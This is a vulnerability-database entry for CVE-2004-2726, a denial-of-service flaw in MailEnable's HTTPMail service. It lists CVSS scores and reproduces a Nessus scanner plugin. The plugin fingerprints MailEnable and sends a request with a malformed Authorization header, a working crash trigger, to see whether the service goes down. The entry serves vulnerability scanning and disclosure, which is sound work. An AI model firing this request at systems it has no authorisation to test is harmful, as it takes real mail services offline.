Vulnerabilities > CVE-2004-2726 - Denial-Of-Service vulnerability in Mailenable 1.18

047910
CVSS 5.0 - MEDIUM
Attack vector
NETWORK
Attack complexity
LOW
Privileges required
NONE
Confidentiality impact
NONE
Integrity impact
NONE
Availability impact
PARTIAL
network
low complexity
mailenable
nessus

Summary

HTTPMail service in MailEnable Professional 1.18 does not properly handle arguments to the Authorization header, which allows remote attackers to cause a denial of service (null dereference and application crash). NOTE: This is a different vulnerability than CVE-2005-1348.

Vulnerable Configurations

Part Description Count
Application
Mailenable
1

Nessus

NASL familyCGI abuses
NASL idMAILENABLE_HTTPMAIL_AUTHORIZATION_DOS.NASL
descriptionThe remote host is running an instance of MailEnable that has a flaw in the HTTPMail service (MEHTTPS.exe) in the Professional and Enterprise Editions. The flaw can be exploited by issuing an HTTP request with a malformed Authorization header, which causes a NULL pointer dereference error and crashes the HTTPMail service.
last seen2020-06-01
modified2020-06-02
plugin id14654
published2004-09-03
reporterThis script is Copyright (C) 2004-2018 George A. Theall
sourcehttps://www.tenable.com/plugins/nessus/14654
titleMailEnable HTTPMail Service Authorization Header Handling Remote DoS
code
#
# This script was written by George A. Theall, <[email protected]>.
#
# See the Nessus Scripts License for details.
#


include("compat.inc");

if (description)
{
  script_id(14654);
  script_version("1.15");
  script_set_attribute(attribute:"plugin_modification_date", value:"2020/06/12");

  script_cve_id("CVE-2004-2726");

  script_name(english:"MailEnable HTTPMail Service Authorization Header Handling Remote DoS");
  script_summary(english:"Checks for authorization header DoS vulnerability in MailEnable HTTPMail service");
 
  script_set_attribute(attribute:"synopsis", value:
"The remote web server is affected by a denial of service flaw." );
  script_set_attribute(attribute:"description", value:
"The remote host is running an instance of MailEnable that has a flaw
in the HTTPMail service (MEHTTPS.exe) in the Professional and
Enterprise Editions.  The flaw can be exploited by issuing an HTTP
request with a malformed Authorization header, which causes a NULL
pointer dereference error and crashes the HTTPMail service." );
  script_set_attribute(attribute:"see_also", value:"http://www.oliverkarow.de/research/MailWebHTTPAuthCrash.txt" );
  script_set_attribute(attribute:"see_also", value:"https://seclists.org/bugtraq/2004/May/172" );
  script_set_attribute(attribute:"solution", value:
"Upgrade to MailEnable Professional / Enterprise 1.19 or later." );
  script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:N/I:N/A:P");
  script_set_attribute(attribute:"plugin_publication_date", value: "2004/09/03");
  script_set_attribute(attribute:"patch_publication_date", value: "2004/05/16");
  script_set_attribute(attribute:"vuln_publication_date", value: "2004/05/11");
  script_set_attribute(attribute:"plugin_type", value:"remote");
  script_set_attribute(attribute:"cpe", value:"cpe:/a:mailenable:mailenable");
  script_end_attributes();

  script_category(ACT_DENIAL);
  script_copyright(english:"This script is Copyright (C) 2004-2020 George A. Theall");

  script_family(english:"CGI abuses");

  script_dependencies("http_version.nasl");
  script_require_ports("Services/www", 8080);

  exit(0);
}


include("global_settings.inc");
include("http_func.inc");
include("http_keepalive.inc");


port = get_http_port(default:8080, embedded:TRUE);
if (http_is_dead(port:port)) exit(0);


# Make sure banner's from MailEnable.
banner = get_http_banner(port:port);
if (banner && egrep(pattern:"^Server: .*MailEnable", string:banner)) {
  # Try to bring it down.
  req = string(
    "GET / HTTP/1.0\r\n",
    "Authorization: X\r\n",
    "\r\n"
  );
  debug_print("req='", req, "'.\n");
  res = http_keepalive_send_recv(port:port, data:req, bodyonly:TRUE);
  debug_print("res='", res, "'.\n");

  # There's a problem if the web server is down.
  if (isnull(res)) {
    if (http_is_dead(port:port)) security_warning(port);
  }
}